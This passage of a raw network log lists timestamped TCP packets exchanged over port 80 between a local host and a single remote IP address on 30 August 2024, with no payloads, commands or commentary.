Aug 30, 2024 18:18:00.696017027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696027994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696048021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.696074963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.696934938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696944952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696954012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696962118 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696971893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696980000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.696989059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.696989059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697000027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697010040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697016001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697019100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697043896 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697055101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697719097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697730064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697738886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697747946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697756052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697765112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697770119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697774887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697784901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697793961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697793961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697807074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.697812080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697829008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.697853088 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.698647022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698656082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698663950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698673010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698682070 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698693037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698694944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.698700905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698710918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698712111 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.698719978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698733091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.698734999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.698760033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.698777914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.699656010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699666977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699675083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699702978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699702978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.699712992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699722052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699729919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699738026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.699739933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.699759960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.699773073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717205048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717216969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717227936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717274904 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717444897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717454910 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717464924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717497110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717519999 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717581034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717638016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717709064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717719078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717726946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717737913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.717758894 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.717782974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.741610050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741633892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741643906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741683006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.741707087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.741858959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741868973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741879940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741889000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.741914034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.741924047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.742151976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742162943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742172956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742182970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742235899 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.742537022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742547989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742558956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742568016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.742580891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.742611885 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.743133068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743175030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.743202925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743212938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743252039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.743333101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743343115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743376017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.743489027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743499994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743510008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743519068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.743530989 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.743554115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.744533062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744544029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744554043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744582891 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.744606972 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.744621038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744632006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744666100 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.744849920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744859934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744869947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744883060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.744895935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.744910002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.745168924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745179892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745194912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745204926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745213032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.745228052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.745251894 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.745448112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745459080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.745491982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.754697084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754761934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754771948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754801035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.754801035 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.754834890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.754836082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754846096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754879951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.754971027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754980087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.754995108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755023003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755208969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755218029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755225897 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755237103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755244970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755249977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755254984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755274057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755300045 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755692959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755702972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755712986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755721092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.755738974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.755754948 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.761749983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761760950 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761770964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761806965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.761836052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.761902094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761910915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761919975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761929035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761936903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.761944056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.761970997 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771670103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771728039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771766901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771778107 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771806002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771825075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771913052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771923065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771933079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771943092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.771964073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771964073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.771992922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.772212029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772254944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.772317886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772327900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772356033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.772367954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.772541046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772550106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772558928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772567987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772577047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.772584915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.772613049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.774437904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774482965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.774514914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774527073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774557114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.774728060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774739981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774751902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774764061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.774768114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.774790049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.774815083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.775065899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775078058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775114059 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.775125027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.775306940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775317907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775329113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775338888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775350094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.775351048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.775386095 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777268887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777308941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777327061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777369022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777484894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777525902 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777585030 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777595997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777621984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777636051 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777719021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777729988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777741909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777751923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777761936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.777764082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777791023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.777801991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.778244019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778254986 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778265953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778278112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778287888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.778314114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.778356075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778367043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.778392076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.778417110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.782788992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.782834053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.782922983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.782963991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.782988071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783030033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.783058882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783071041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783081055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783098936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.783123970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.783288002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783298969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.783330917 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.806818962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.806876898 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807038069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807048082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807076931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807094097 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807216883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807226896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807235956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807245970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807256937 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807286978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807446957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807459116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807488918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807491064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807502985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807513952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807524920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807527065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807534933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.807555914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.807579041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:00.830519915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:00.830585957 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:01.094012976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:01.094060898 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:01.099143028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.099168062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.099174976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.099178076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.099180937 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.913594007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:01.913662910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:01.997178078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:01.997215033 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:02.002702951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:02.002799988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:02.003201962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:02.956960917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:02.957802057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:03.067625046 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:03.072498083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:03.912313938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:03.912626982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:04.253906965 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:04.258815050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.160064936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.160166025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.372941971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.378669024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.616884947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.616904020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.616913080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.616924047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.616946936 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.616981030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617053032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617094040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617208004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617217064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617245913 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617259026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:05.617264032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:05.617273092 CEST	80	49730	185.215.113.100	192.168.2.4
